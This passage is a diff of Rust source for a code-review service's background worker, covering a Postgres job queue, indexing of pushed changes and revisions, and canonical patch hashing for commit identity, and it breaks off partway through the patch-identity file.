| 201 | + | tracing::warn!("NOTIFY failed: {e}"); | |
| 202 | + | } | |
| 203 | + | ||
| 204 | + | Ok(Outcome { | |
| 205 | + | changes_seen: change_rows.len(), | |
| 206 | + | revisions_added, | |
| 207 | + | }) | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | /// Derive a patch-based identity for a commit with no jj change id. | |
| 211 | + | /// | |
| 212 | + | /// Returns `None` when the diff cannot be read, in which case the commit is | |
| 213 | + | /// skipped rather than given an identity we cannot reproduce on a later run — | |
| 214 | + | /// an unstable identity is worse than no row, because it would split one change | |
| 215 | + | /// into a new one on every reindex. | |
| 216 | + | async fn synthetic_identity( | |
| 217 | + | store: &dyn RepoStore, | |
| 218 | + | repo: RepoId, | |
| 219 | + | c: &IndexedCommit, | |
| 220 | + | ) -> Option<String> { | |
| 221 | + | // Bounded: a synthetic identity is not worth reading a pathological diff for. | |
| 222 | + | let opts = DiffOpts { | |
| 223 | + | context_lines: 0, | |
| 224 | + | max_files: 1_000, | |
| 225 | + | max_lines: 50_000, | |
| 226 | + | }; | |
| 227 | + | ||
| 228 | + | let diff = match store | |
| 229 | + | .diff_from_parent(repo, &RevId::from_stored(c.rev.clone()), opts) | |
| 230 | + | .await | |
| 231 | + | { | |
| 232 | + | Ok(d) => d, | |
| 233 | + | Err(e) => { | |
| 234 | + | tracing::warn!(rev = %c.rev, "diffing for synthetic identity failed: {e}"); | |
| 235 | + | return None; | |
| 236 | + | } | |
| 237 | + | }; | |
| 238 | + | ||
| 239 | + | // A truncated diff would hash differently depending on where the limit fell, | |
| 240 | + | // so refuse rather than mint an unstable id. | |
| 241 | + | if diff.truncated { | |
| 242 | + | tracing::warn!(rev = %c.rev, "diff was truncated; not deriving a synthetic identity"); | |
| 243 | + | return None; | |
| 244 | + | } | |
| 245 | + | ||
| 246 | + | let patch = crate::patch_id::canonical_patch(&diff); | |
| 247 | + | Some( | |
| 248 | + | df_index::synthetic_change_id(&df_index::PatchIdentity { | |
| 249 | + | diff: &patch, | |
| 250 | + | author_email: &c.author_email, | |
| 251 | + | author_date: c.authored_at.timestamp(), | |
| 252 | + | }) | |
| 253 | + | .as_str() | |
| 254 | + | .to_owned(), | |
| 255 | + | ) | |
| 256 | + | } | |
| 257 | + | ||
| 258 | + | /// Insert or update the `changes` row, returning its id. | |
| 259 | + | async fn upsert_change( | |
| 260 | + | db: &PgPool, | |
| 261 | + | repo_id: Uuid, | |
| 262 | + | change_id: &str, | |
| 263 | + | c: &IndexedCommit, | |
| 264 | + | default_bookmark: &str, | |
| 265 | + | on_target: bool, | |
| 266 | + | synthetic: bool, | |
| 267 | + | ) -> Result<Uuid> { | |
| 268 | + | let existing: Option<(Uuid, ChangeStateSql)> = sqlx::query_as( | |
| 269 | + | "SELECT id, state FROM changes WHERE repo_id = $1 AND change_id = $2", | |
| 270 | + | ) | |
| 271 | + | .bind(repo_id) | |
| 272 | + | .bind(change_id) | |
| 273 | + | .fetch_optional(db) | |
| 274 | + | .await?; | |
| 275 | + | ||
| 276 | + | let title = c.summary(); | |
| 277 | + | let description = c.message.split_once('\n').map(|(_, r)| r.trim()).unwrap_or(""); | |
| 278 | + | ||
| 279 | + | if let Some((id, state)) = existing { | |
| 280 | + | // Indexing must never overwrite an author's explicit draft/abandoned | |
| 281 | + | // choice (spec §4, and the decided draft behaviour). | |
| 282 | + | let next = indexer::next_state(state.into(), on_target); | |
| 283 | + | ||
| 284 | + | sqlx::query( | |
| 285 | + | "UPDATE changes | |
| 286 | + | SET title = $2, description = $3, conflicted = $4, | |
| 287 | + | state = $5::change_state, | |
| 288 | + | merged_at = CASE WHEN $5 = 'merged' AND merged_at IS NULL | |
| 289 | + | THEN now() ELSE merged_at END, | |
| 290 | + | updated_at = now() | |
| 291 | + | WHERE id = $1", | |
| 292 | + | ) | |
| 293 | + | .bind(id) | |
| 294 | + | .bind(title) | |
| 295 | + | .bind(description) | |
| 296 | + | .bind(c.conflicted) | |
| 297 | + | .bind(state_str(next)) | |
| 298 | + | .execute(db) | |
| 299 | + | .await?; | |
| 300 | + | ||
| 301 | + | return Ok(id); | |
| 302 | + | } | |
| 303 | + | ||
| 304 | + | // New change. Allocate a per-repo display number under a row lock so two | |
| 305 | + | // concurrent index jobs cannot mint the same number. | |
| 306 | + | let mut tx = db.begin().await?; | |
| 307 | + | ||
| 308 | + | let (number,): (i64,) = sqlx::query_as( | |
| 309 | + | "UPDATE repo_counters SET next_change = next_change + 1 | |
| 310 | + | WHERE repo_id = $1 | |
| 311 | + | RETURNING next_change - 1", | |
| 312 | + | ) | |
| 313 | + | .bind(repo_id) | |
| 314 | + | .fetch_one(&mut *tx) | |
| 315 | + | .await | |
| 316 | + | .context("allocating a change number (is repo_counters seeded?)")?; | |
| 317 | + | ||
| 318 | + | let id = new_id(); | |
| 319 | + | let state = if on_target { "merged" } else { "open" }; | |
| 320 | + | ||
| 321 | + | // ON CONFLICT makes a concurrent insert of the same change harmless, which | |
| 322 | + | // is what keeps the job idempotent. | |
| 323 | + | let inserted: Option<(Uuid,)> = sqlx::query_as( | |
| 324 | + | "INSERT INTO changes (id, repo_id, change_id, number, title, description, | |
| 325 | + | state, conflicted, target_bookmark, synthetic, merged_at) | |
| 326 | + | VALUES ($1, $2, $3, $4, $5, $6, $7::change_state, $8, $9, $10, | |
| 327 | + | CASE WHEN $7 = 'merged' THEN now() ELSE NULL END) | |
| 328 | + | ON CONFLICT (repo_id, change_id) DO NOTHING | |
| 329 | + | RETURNING id", | |
| 330 | + | ) | |
| 331 | + | .bind(id) | |
| 332 | + | .bind(repo_id) | |
| 333 | + | .bind(change_id) | |
| 334 | + | .bind(number) | |
| 335 | + | .bind(title) | |
| 336 | + | .bind(description) | |
| 337 | + | .bind(state) | |
| 338 | + | .bind(c.conflicted) | |
| 339 | + | .bind(default_bookmark) | |
| 340 | + | .bind(synthetic) | |
| 341 | + | .fetch_optional(&mut *tx) | |
| 342 | + | .await?; | |
| 343 | + | ||
| 344 | + | tx.commit().await?; | |
| 345 | + | ||
| 346 | + | match inserted { | |
| 347 | + | Some((id,)) => { | |
| 348 | + | // Timeline event for a newly seen change. | |
| 349 | + | let _ = sqlx::query( | |
| 350 | + | "INSERT INTO events (id, repo_id, kind, subject_type, subject_id, payload) | |
| 351 | + | VALUES ($1, $2, 'change.opened', 'change', $3, $4)", | |
| 352 | + | ) | |
| 353 | + | .bind(new_id()) | |
| 354 | + | .bind(repo_id) | |
| 355 | + | .bind(id) | |
| 356 | + | .bind(serde_json::json!({ "change_id": change_id })) | |
| 357 | + | .execute(db) | |
| 358 | + | .await; | |
| 359 | + | Ok(id) | |
| 360 | + | } | |
| 361 | + | None => { | |
| 362 | + | // Lost the race; read back the winner. | |
| 363 | + | let (id,): (Uuid,) = | |
| 364 | + | sqlx::query_as("SELECT id FROM changes WHERE repo_id = $1 AND change_id = $2") | |
| 365 | + | .bind(repo_id) | |
| 366 | + | .bind(change_id) | |
| 367 | + | .fetch_one(db) | |
| 368 | + | .await?; | |
| 369 | + | Ok(id) | |
| 370 | + | } | |
| 371 | + | } | |
| 372 | + | } | |
| 373 | + | ||
| 374 | + | /// What appending a revision did. | |
| 375 | + | enum Inserted { | |
| 376 | + | /// Already present. The indexer is re-runnable, so this is the normal case | |
| 377 | + | /// on a reindex and must have no side effects at all. | |
| 378 | + | Existing, | |
| 379 | + | New { | |
| 380 | + | /// Row id of the revision just written. | |
| 381 | + | id: Uuid, | |
| 382 | + | /// The revision that was the change's head before this one, when there | |
| 383 | + | /// was one. This is what comment anchors are rebased *from*. | |
| 384 | + | previous_head: Option<String>, | |
| 385 | + | }, | |
| 386 | + | } | |
| 387 | + | ||
| 388 | + | /// Append a revision. | |
| 389 | + | async fn insert_revision( | |
| 390 | + | db: &PgPool, | |
| 391 | + | change_uuid: Uuid, | |
| 392 | + | c: &IndexedCommit, | |
| 393 | + | pushed_by: Option<Uuid>, | |
| 394 | + | ) -> Result<Inserted> { | |
| 395 | + | // Read before inserting: after the insert the new revision *is* the head. | |
| 396 | + | let previous_head: Option<String> = sqlx::query_scalar( | |
| 397 | + | "SELECT rev FROM revisions WHERE change_id_fk = $1 ORDER BY seq DESC LIMIT 1", | |
| 398 | + | ) | |
| 399 | + | .bind(change_uuid) | |
| 400 | + | .fetch_optional(db) | |
| 401 | + | .await?; | |
| 402 | + | ||
| 403 | + | let conflict_data = c.conflicted.then(|| { | |
| 404 | + | serde_json::json!({ | |
| 405 | + | "sides": c.conflict_sides, | |
| 406 | + | "bases": c.conflict_bases, | |
| 407 | + | }) | |
| 408 | + | }); | |
| 409 | + | ||
| 410 | + | // seq is per-change and 1-based. Computing it from the existing max keeps | |
| 411 | + | // re-runs stable: an already-present revision hits the conflict clause and | |
| 412 | + | // does not consume a number. | |
| 413 | + | let inserted: Option<(Uuid,)> = sqlx::query_as( | |
| 414 | + | "INSERT INTO revisions (id, change_id_fk, rev, seq, parents, author_name, | |
| 415 | + | author_email, authored_at, message, conflicted, | |
| 416 | + | conflict_data, pushed_by) | |
| 417 | + | SELECT $1, $2, $3, | |
| 418 | + | COALESCE((SELECT MAX(seq) FROM revisions WHERE change_id_fk = $2), 0) + 1, | |
| 419 | + | $4, $5, $6, $7, $8, $9, $10, $11 | |
| 420 | + | ON CONFLICT (change_id_fk, rev) DO NOTHING | |
| 421 | + | RETURNING id", | |
| 422 | + | ) | |
| 423 | + | .bind(new_id()) | |
| 424 | + | .bind(change_uuid) | |
| 425 | + | .bind(&c.rev) | |
| 426 | + | .bind(&c.parents) | |
| 427 | + | .bind(&c.author_name) | |
| 428 | + | .bind(&c.author_email) | |
| 429 | + | .bind(c.authored_at) | |
| 430 | + | .bind(&c.message) | |
| 431 | + | .bind(c.conflicted) | |
| 432 | + | .bind(conflict_data) | |
| 433 | + | .bind(pushed_by) | |
| 434 | + | .fetch_optional(db) | |
| 435 | + | .await?; | |
| 436 | + | ||
| 437 | + | let Some((rev_uuid,)) = inserted else { | |
| 438 | + | return Ok(Inserted::Existing); | |
| 439 | + | }; | |
| 440 | + | ||
| 441 | + | // The head is the most recently pushed revision of the change. | |
| 442 | + | sqlx::query("UPDATE changes SET head_revision_id = $2, updated_at = now() WHERE id = $1") | |
| 443 | + | .bind(change_uuid) | |
| 444 | + | .bind(rev_uuid) | |
| 445 | + | .execute(db) | |
| 446 | + | .await?; | |
| 447 | + | ||
| 448 | + | Ok(Inserted::New { id: rev_uuid, previous_head }) | |
| 449 | + | } | |
| 450 | + | ||
| 451 | + | /// Write a timeline event (spec §4 step 8). | |
| 452 | + | /// | |
| 453 | + | /// Best-effort and unauthored: these events describe what a *push* did, and the | |
| 454 | + | /// pusher is recorded on the revision itself. Attributing them to a user here | |
| 455 | + | /// would claim more than the indexer knows — a push can carry somebody else's | |
| 456 | + | /// commits. | |
| 457 | + | async fn emit_event( | |
| 458 | + | db: &PgPool, | |
| 459 | + | repo_id: Uuid, | |
| 460 | + | kind: &str, | |
| 461 | + | change_uuid: Uuid, | |
| 462 | + | payload: serde_json::Value, | |
| 463 | + | ) { | |
| 464 | + | if let Err(e) = sqlx::query( | |
| 465 | + | "INSERT INTO events (id, repo_id, kind, subject_type, subject_id, payload) | |
| 466 | + | VALUES ($1, $2, $3, 'change', $4, $5)", | |
| 467 | + | ) | |
| 468 | + | .bind(new_id()) | |
| 469 | + | .bind(repo_id) | |
| 470 | + | .bind(kind) | |
| 471 | + | .bind(change_uuid) | |
| 472 | + | .bind(payload) | |
| 473 | + | .execute(db) | |
| 474 | + | .await | |
| 475 | + | { | |
| 476 | + | tracing::error!(%kind, "writing a timeline event failed: {e}"); | |
| 477 | + | } | |
| 478 | + | } | |
| 479 | + | ||
| 480 | + | async fn sync_bookmarks(db: &PgPool, repo_id: Uuid, marks: &[df_store::Bookmark]) -> Result<()> { | |
| 481 | + | for b in marks { | |
| 482 | + | // `protected` is set for the default bookmark and otherwise left alone: | |
| 483 | + | // it is an operator's choice, and re-asserting it on every push would | |
| 484 | + | // undo an unprotect. Marking the default keeps the settings page in | |
| 485 | + | // step with the hook, which protects it whether or not the flag is set. | |
| 486 | + | sqlx::query( | |
| 487 | + | "INSERT INTO bookmarks (repo_id, name, target, protected, updated_at) | |
| 488 | + | SELECT $1, $2, $3, (r.default_bookmark = $2), now() | |
| 489 | + | FROM repos r WHERE r.id = $1 | |
| 490 | + | ON CONFLICT (repo_id, name) | |
| 491 | + | DO UPDATE SET target = EXCLUDED.target, | |
| 492 | + | protected = bookmarks.protected OR EXCLUDED.protected, | |
| 493 | + | updated_at = now()", | |
| 494 | + | ) | |
| 495 | + | .bind(repo_id) | |
| 496 | + | .bind(&b.name) | |
| 497 | + | .bind(b.target.as_str()) | |
| 498 | + | .execute(db) | |
| 499 | + | .await?; | |
| 500 | + | } | |
| 501 | + | ||
| 502 | + | // Drop bookmarks that no longer exist, so a deleted branch disappears. | |
| 503 | + | let names: Vec<String> = marks.iter().map(|b| b.name.clone()).collect(); | |
| 504 | + | sqlx::query("DELETE FROM bookmarks WHERE repo_id = $1 AND NOT (name = ANY($2))") | |
| 505 | + | .bind(repo_id) | |
| 506 | + | .bind(&names) | |
| 507 | + | .execute(db) | |
| 508 | + | .await?; | |
| 509 | + | ||
| 510 | + | Ok(()) | |
| 511 | + | } | |
| 512 | + | ||
| 513 | + | /// Replace this repository's stack edges with the freshly computed set. | |
| 514 | + | /// | |
| 515 | + | /// Deleting and reinserting is what makes the job idempotent: a rebase that | |
| 516 | + | /// removes an edge must actually remove it, which an insert-only pass cannot do. | |
| 517 | + | async fn sync_stack_edges( | |
| 518 | + | db: &PgPool, | |
| 519 | + | repo_id: Uuid, | |
| 520 | + | edges: &HashSet<StackEdge>, | |
| 521 | + | change_rows: &HashMap<String, Uuid>, | |
| 522 | + | ) -> Result<()> { | |
| 523 | + | let mut tx = db.begin().await?; | |
| 524 | + | ||
| 525 | + | sqlx::query("DELETE FROM change_edges WHERE repo_id = $1") | |
| 526 | + | .bind(repo_id) | |
| 527 | + | .execute(&mut *tx) | |
| 528 | + | .await?; | |
| 529 | + | ||
| 530 | + | for e in edges { | |
| 531 | + | let (Some(parent), Some(child)) = (change_rows.get(&e.parent), change_rows.get(&e.child)) | |
| 532 | + | else { | |
| 533 | + | continue; | |
| 534 | + | }; | |
| 535 | + | sqlx::query( | |
| 536 | + | "INSERT INTO change_edges (repo_id, parent_change, child_change) | |
| 537 | + | VALUES ($1, $2, $3) ON CONFLICT DO NOTHING", | |
| 538 | + | ) | |
| 539 | + | .bind(repo_id) | |
| 540 | + | .bind(parent) | |
| 541 | + | .bind(child) | |
| 542 | + | .execute(&mut *tx) | |
| 543 | + | .await?; | |
| 544 | + | } | |
| 545 | + | ||
| 546 | + | tx.commit().await?; | |
| 547 | + | Ok(()) | |
| 548 | + | } | |
| 549 | + | ||
| 550 | + | // ─── enum bridging ─────────────────────────────────────────────────────────── | |
| 551 | + | ||
| 552 | + | #[derive(sqlx::Type, Clone, Copy)] | |
| 553 | + | #[sqlx(type_name = "change_state", rename_all = "lowercase")] | |
| 554 | + | enum ChangeStateSql { | |
| 555 | + | Draft, | |
| 556 | + | Open, | |
| 557 | + | Merged, | |
| 558 | + | Abandoned, | |
| 559 | + | } | |
| 560 | + | ||
| 561 | + | impl From<ChangeStateSql> for ChangeState { | |
| 562 | + | fn from(s: ChangeStateSql) -> Self { | |
| 563 | + | match s { | |
| 564 | + | ChangeStateSql::Draft => ChangeState::Draft, | |
| 565 | + | ChangeStateSql::Open => ChangeState::Open, | |
| 566 | + | ChangeStateSql::Merged => ChangeState::Merged, | |
| 567 | + | ChangeStateSql::Abandoned => ChangeState::Abandoned, | |
| 568 | + | } | |
| 569 | + | } | |
| 570 | + | } | |
| 571 | + | ||
| 572 | + | fn state_str(s: ChangeState) -> &'static str { | |
| 573 | + | match s { | |
| 574 | + | ChangeState::Draft => "draft", | |
| 575 | + | ChangeState::Open => "open", | |
| 576 | + | ChangeState::Merged => "merged", | |
| 577 | + | ChangeState::Abandoned => "abandoned", | |
| 578 | + | } | |
| 579 | + | } | |
Acrates/df-worker/src/main.rs+246−0
| @@ −0,0 +1,246 @@ | |||
| 1 | + | //! `dogfood-worker` — the job runner (spec §5). | |
| 2 | + | //! | |
| 3 | + | //! Jobs are claimed with `SELECT … FOR UPDATE SKIP LOCKED`. A `NOTIFY` on | |
| 4 | + | //! insert wakes the worker so it does not poll on the hot path; a 5-second poll | |
| 5 | + | //! remains as a fallback for missed notifications. | |
| 6 | + | ||
| 7 | + | use std::sync::Arc; | |
| 8 | + | use std::time::Duration; | |
| 9 | + | ||
| 10 | + | use anyhow::{Context, Result}; | |
| 11 | + | use df_store::RepoStore; | |
| 12 | + | use sqlx::postgres::PgListener; | |
| 13 | + | use sqlx::PgPool; | |
| 14 | + | use uuid::Uuid; | |
| 15 | + | ||
| 16 | + | mod anchors; | |
| 17 | + | mod index_push; | |
| 18 | + | mod patch_id; | |
| 19 | + | ||
| 20 | + | /// Identifies this worker in `jobs.locked_by`, so a stuck job can be traced | |
| 21 | + | /// back to the process that took it. | |
| 22 | + | fn worker_id() -> String { | |
| 23 | + | format!( | |
| 24 | + | "{}-{}", | |
| 25 | + | std::env::var("HOSTNAME").unwrap_or_else(|_| "worker".into()), | |
| 26 | + | std::process::id() | |
| 27 | + | ) | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | #[tokio::main] | |
| 31 | + | async fn main() -> Result<()> { | |
| 32 | + | let _ = dotenvy::dotenv(); | |
| 33 | + | init_tracing(); | |
| 34 | + | ||
| 35 | + | let database_url = std::env::var("DATABASE_URL").context("DATABASE_URL must be set")?; | |
| 36 | + | let repo_root = std::env::var("REPO_ROOT").unwrap_or_else(|_| "/srv/repos".into()); | |
| 37 | + | let max_conn = std::env::var("DATABASE_MAX_CONNECTIONS") | |
| 38 | + | .ok() | |
| 39 | + | .and_then(|v| v.parse().ok()) | |
| 40 | + | .unwrap_or(5); | |
| 41 | + | ||
| 42 | + | let db = df_db::connect(&database_url, max_conn) | |
| 43 | + | .await | |
| 44 | + | .context("connecting to the database")?; | |
| 45 | + | ||
| 46 | + | // The worker does NOT run migrations — `web` owns that (spec §10), and two | |
| 47 | + | // processes racing to migrate is exactly what the advisory lock exists to | |
| 48 | + | // prevent. If the schema is behind, the queries below fail loudly. | |
| 49 | + | let store: Arc<dyn RepoStore> = Arc::new(df_store::GitStore::new(&repo_root)); | |
| 50 | + | ||
| 51 | + | let me = worker_id(); | |
| 52 | + | tracing::info!(worker = %me, root = %repo_root, "dogfood-worker started"); | |
| 53 | + | ||
| 54 | + | // LISTEN for wake-ups. If the listener cannot be established the worker | |
| 55 | + | // still functions on the poll fallback, so this is a warning, not fatal. | |
| 56 | + | let mut listener = match PgListener::connect(&database_url).await { | |
| 57 | + | Ok(mut l) => match l.listen("dogfood_jobs").await { | |
| 58 | + | Ok(()) => Some(l), | |
| 59 | + | Err(e) => { | |
| 60 | + | tracing::warn!("LISTEN failed, falling back to polling: {e}"); | |
| 61 | + | None | |
| 62 | + | } | |
| 63 | + | }, | |
| 64 | + | Err(e) => { | |
| 65 | + | tracing::warn!("could not open a listener, falling back to polling: {e}"); | |
| 66 | + | None | |
| 67 | + | } | |
| 68 | + | }; | |
| 69 | + | ||
| 70 | + | let mut shutdown = std::pin::pin!(shutdown_signal()); | |
| 71 | + | ||
| 72 | + | loop { | |
| 73 | + | // Drain everything currently runnable before sleeping. | |
| 74 | + | loop { | |
| 75 | + | match claim_and_run(&db, store.as_ref(), &me).await { | |
| 76 | + | Ok(true) => continue, | |
| 77 | + | Ok(false) => break, | |
| 78 | + | Err(e) => { | |
| 79 | + | tracing::error!("job loop error: {e:#}"); | |
| 80 | + | break; | |
| 81 | + | } | |
| 82 | + | } | |
| 83 | + | } | |
| 84 | + | ||
| 85 | + | // Wait for a notification, the poll interval, or shutdown. | |
| 86 | + | let wake = async { | |
| 87 | + | match listener.as_mut() { | |
| 88 | + | Some(l) => { | |
| 89 | + | let _ = l.recv().await; | |
| 90 | + | } | |
| 91 | + | None => std::future::pending::<()>().await, | |
| 92 | + | } | |
| 93 | + | }; | |
| 94 | + | ||
| 95 | + | tokio::select! { | |
| 96 | + | _ = wake => {} | |
| 97 | + | _ = tokio::time::sleep(Duration::from_secs(5)) => {} | |
| 98 | + | _ = &mut shutdown => { | |
| 99 | + | tracing::info!("shutting down"); | |
| 100 | + | return Ok(()); | |
| 101 | + | } | |
| 102 | + | } | |
| 103 | + | } | |
| 104 | + | } | |
| 105 | + | ||
| 106 | + | /// Claim one job and run it. Returns whether a job was found. | |
| 107 | + | async fn claim_and_run(db: &PgPool, store: &dyn RepoStore, me: &str) -> Result<bool> { | |
| 108 | + | let mut tx = db.begin().await?; | |
| 109 | + | ||
| 110 | + | // SKIP LOCKED lets several workers share the queue without blocking. | |
| 111 | + | let job: Option<(Uuid, String, serde_json::Value, i32, i32)> = sqlx::query_as( | |
| 112 | + | "SELECT id, kind, payload, attempts, max_attempts | |
| 113 | + | FROM jobs | |
| 114 | + | WHERE locked_at IS NULL AND run_at <= now() | |
| 115 | + | ORDER BY run_at | |
| 116 | + | FOR UPDATE SKIP LOCKED | |
| 117 | + | LIMIT 1", | |
| 118 | + | ) | |
| 119 | + | .fetch_optional(&mut *tx) | |
| 120 | + | .await?; | |
| 121 | + | ||
| 122 | + | let Some((id, kind, payload, attempts, max_attempts)) = job else { | |
| 123 | + | tx.rollback().await?; | |
| 124 | + | return Ok(false); | |
| 125 | + | }; | |
| 126 | + | ||
| 127 | + | sqlx::query("UPDATE jobs SET locked_at = now(), locked_by = $2, attempts = attempts + 1 WHERE id = $1") | |
| 128 | + | .bind(id) | |
| 129 | + | .bind(me) | |
| 130 | + | .execute(&mut *tx) | |
| 131 | + | .await?; | |
| 132 | + | tx.commit().await?; | |
| 133 | + | ||
| 134 | + | tracing::info!(job = %id, %kind, attempt = attempts + 1, "running job"); | |
| 135 | + | let started = std::time::Instant::now(); | |
| 136 | + | ||
| 137 | + | let result = match kind.as_str() { | |
| 138 | + | "index_push" => run_index_push(db, store, &payload).await, | |
| 139 | + | other => Err(anyhow::anyhow!("unknown job kind: {other}")), | |
| 140 | + | }; | |
| 141 | + | ||
| 142 | + | match result { | |
| 143 | + | Ok(()) => { | |
| 144 | + | sqlx::query("DELETE FROM jobs WHERE id = $1") | |
| 145 | + | .bind(id) | |
| 146 | + | .execute(db) | |
| 147 | + | .await?; | |
| 148 | + | tracing::info!(job = %id, ms = started.elapsed().as_millis(), "job complete"); | |
| 149 | + | } | |
| 150 | + | Err(e) => { | |
| 151 | + | let attempts_now = attempts + 1; | |
| 152 | + | let give_up = attempts_now >= max_attempts; | |
| 153 | + | tracing::error!(job = %id, attempt = attempts_now, "job failed: {e:#}"); | |
| 154 | + | ||
| 155 | + | if give_up { | |
| 156 | + | // Leave the row, unlocked and exhausted, so it is visible for | |
| 157 | + | // inspection rather than silently vanishing. | |
| 158 | + | sqlx::query( | |
| 159 | + | "UPDATE jobs SET locked_at = NULL, locked_by = NULL, last_error = $2 | |
| 160 | + | WHERE id = $1", | |
| 161 | + | ) | |
| 162 | + | .bind(id) | |
| 163 | + | .bind(format!("{e:#}")) | |
| 164 | + | .execute(db) | |
| 165 | + | .await?; | |
| 166 | + | tracing::error!(job = %id, "job exhausted its attempts"); | |
| 167 | + | } else { | |
| 168 | + | // Exponential backoff, capped. | |
| 169 | + | let delay = Duration::from_secs(2u64.saturating_pow(attempts_now as u32).min(300)); | |
| 170 | + | sqlx::query( | |
| 171 | + | "UPDATE jobs SET locked_at = NULL, locked_by = NULL, last_error = $2, | |
| 172 | + | run_at = now() + $3 | |
| 173 | + | WHERE id = $1", | |
| 174 | + | ) | |
| 175 | + | .bind(id) | |
| 176 | + | .bind(format!("{e:#}")) | |
| 177 | + | .bind(delay) | |
| 178 | + | .execute(db) | |
| 179 | + | .await?; | |
| 180 | + | } | |
| 181 | + | } | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | Ok(true) | |
| 185 | + | } | |
| 186 | + | ||
| 187 | + | async fn run_index_push( | |
| 188 | + | db: &PgPool, | |
| 189 | + | store: &dyn RepoStore, | |
| 190 | + | payload: &serde_json::Value, | |
| 191 | + | ) -> Result<()> { | |
| 192 | + | let repo_id: Uuid = payload | |
| 193 | + | .get("repo_id") | |
| 194 | + | .and_then(|v| v.as_str()) | |
| 195 | + | .and_then(|s| s.parse().ok()) | |
| 196 | + | .context("index_push payload is missing a valid repo_id")?; | |
| 197 | + | ||
| 198 | + | let pushed_by: Option<Uuid> = payload | |
| 199 | + | .get("pushed_by") | |
| 200 | + | .and_then(|v| v.as_str()) | |
| 201 | + | .and_then(|s| s.parse().ok()); | |
| 202 | + | ||
| 203 | + | let outcome = index_push::run(db, store, repo_id, pushed_by).await?; | |
| 204 | + | tracing::info!( | |
| 205 | + | repo = %repo_id, | |
| 206 | + | changes = outcome.changes_seen, | |
| 207 | + | revisions = outcome.revisions_added, | |
| 208 | + | "indexed push" | |
| 209 | + | ); | |
| 210 | + | Ok(()) | |
| 211 | + | } | |
| 212 | + | ||
| 213 | + | fn init_tracing() { | |
| 214 | + | use tracing_subscriber::{layer::SubscriberExt, util::SubscriberInitExt, EnvFilter}; | |
| 215 | + | ||
| 216 | + | let filter = EnvFilter::try_from_default_env() | |
| 217 | + | .unwrap_or_else(|_| EnvFilter::new("info,df_worker=debug,df_index=debug")); | |
| 218 | + | let json = !std::io::IsTerminal::is_terminal(&std::io::stdout()); | |
| 219 | + | ||
| 220 | + | let registry = tracing_subscriber::registry().with(filter); | |
| 221 | + | if json { | |
| 222 | + | registry.with(tracing_subscriber::fmt::layer().json()).init(); | |
| 223 | + | } else { | |
| 224 | + | registry.with(tracing_subscriber::fmt::layer()).init(); | |
| 225 | + | } | |
| 226 | + | } | |
| 227 | + | ||
| 228 | + | async fn shutdown_signal() { | |
| 229 | + | let ctrl_c = async { | |
| 230 | + | tokio::signal::ctrl_c().await.expect("Ctrl+C handler"); | |
| 231 | + | }; | |
| 232 | + | #[cfg(unix)] | |
| 233 | + | let terminate = async { | |
| 234 | + | tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) | |
| 235 | + | .expect("SIGTERM handler") | |
| 236 | + | .recv() | |
| 237 | + | .await; | |
| 238 | + | }; | |
| 239 | + | #[cfg(not(unix))] | |
| 240 | + | let terminate = std::future::pending::<()>(); | |
| 241 | + | ||
| 242 | + | tokio::select! { | |
| 243 | + | _ = ctrl_c => {} | |
| 244 | + | _ = terminate => {} | |
| 245 | + | } | |
| 246 | + | } | |
Acrates/df-worker/src/patch_id.rs+208−0
| @@ −0,0 +1,208 @@ | |||
| 1 | + | //! Patch identity for commits authored by plain git (spec §4). | |
| 2 | + | //! | |
| 3 | + | //! "Commits without a change ID still need identity so that `git push` users | |
| 4 | + | //! are not second-class. Synthesize a stable identity from the commit's | |
| 5 | + | //! *patch* rather than its SHA — a patch-id style digest over the diff plus the | |
| 6 | + | //! author date — so that a rebase of the same work continues to map to the | |
| 7 | + | //! same change." | |
| 8 | + | //! | |
| 9 | + | //! The serialisation below is the contract: two commits produce the same | |
| 10 | + | //! identity exactly when this byte stream matches. It deliberately excludes | |
| 11 | + | //! everything a rebase changes — blob OIDs, hunk offsets, parent ids, the | |
| 12 | + | //! commit id, and the committer. | |
| 13 | + | ||
| 14 | + | use df_store::{ChangeKind, Diff}; | |
| 15 | + | ||
| 16 | + | /// Render a diff into a canonical byte form for hashing. | |
| 17 | + | /// | |
| 18 | + | /// Files are sorted by path so that a change in tree-walk order cannot alter | |
| 19 | + | /// the identity. Hunk line numbers are omitted entirely — only the sequence of | |
| 20 | + | /// added and removed content matters, which is what makes the digest survive a | |
| 21 | + | /// rebase that shifts everything down by ten lines. | |
| 22 | + | pub fn canonical_patch(diff: &Diff) -> Vec<u8> { | |
| 23 | + | let mut files: Vec<&df_store::FileDiff> = diff.files.iter().collect(); | |
| 24 | + | files.sort_by(|a, b| a.path.cmp(&b.path)); | |
| 25 | + | ||
| 26 | + | let mut out = Vec::new(); | |
| 27 | + | for f in files { | |
| 28 | + | out.extend_from_slice(b"--- file "); | |
| 29 | + | out.extend_from_slice(f.path.as_bytes()); | |
| 30 | + | out.push(b'\n'); | |
| 31 | + | ||
| 32 | + | // A rename with no content change must still be a distinct patch from | |
| 33 | + | // no change at all, so the kind is part of the identity. | |
| 34 | + | out.extend_from_slice(match f.kind { | |
| 35 | + | ChangeKind::Added => b"kind added\n".as_slice(), | |
| 36 | + | ChangeKind::Deleted => b"kind deleted\n".as_slice(), | |
| 37 | + | ChangeKind::Modified => b"kind modified\n".as_slice(), | |
| 38 | + | ChangeKind::Renamed => b"kind renamed\n".as_slice(), | |
| 39 | + | }); | |
| 40 | + | if let Some(old) = &f.old_path { | |
| 41 | + | out.extend_from_slice(b"from "); | |
| 42 | + | out.extend_from_slice(old.as_bytes()); | |
| 43 | + | out.push(b'\n'); | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | if f.binary { | |
| 47 | + | // Binary content is not diffed; record only that it changed, so the | |
| 48 | + | // identity stays stable without reading megabytes. | |
| 49 | + | out.extend_from_slice(b"binary\n"); | |
| 50 | + | continue; | |
| 51 | + | } | |
| 52 | + | ||
| 53 | + | for h in &f.hunks { | |
| 54 | + | // NOTE: no @@ header. Hunk offsets move under a rebase while the | |
| 55 | + | // work stays the same, and including them would defeat the purpose. | |
| 56 | + | for l in &h.lines { | |
| 57 | + | match l.kind { | |
| 58 | + | df_store::DiffLineKind::Added => out.push(b'+'), | |
| 59 | + | df_store::DiffLineKind::Deleted => out.push(b'-'), | |
| 60 | + | // Context lines shift with surrounding edits, so they are | |
| 61 | + | // excluded: only the actual change identifies the patch. | |
